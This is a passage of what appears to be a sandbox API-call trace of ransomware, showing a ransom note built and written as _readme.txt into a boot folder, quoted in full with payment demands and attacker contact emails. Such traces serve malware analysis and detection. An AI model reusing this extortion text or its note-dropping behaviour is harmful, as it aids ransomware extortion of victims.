hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.601] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.601] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.602] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.602] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.603] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.603] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.603] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.603] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.603] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.603] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.603] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.603] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.603] PathFindFileNameW (pszPath="") returned="" [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.603] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.603] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.603] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.604] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.604] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.604] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0066.604] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.604] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.604] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0066.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.608] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.608] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.608] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.608] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.609] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.609] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.609] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.609] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.609] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.610] CloseHandle (hObject=0x5c4) returned 1 [0066.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.610] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.610] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.610] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.611] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33c90b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33c90b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33c90b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.611] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.611] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.611] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.611] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, 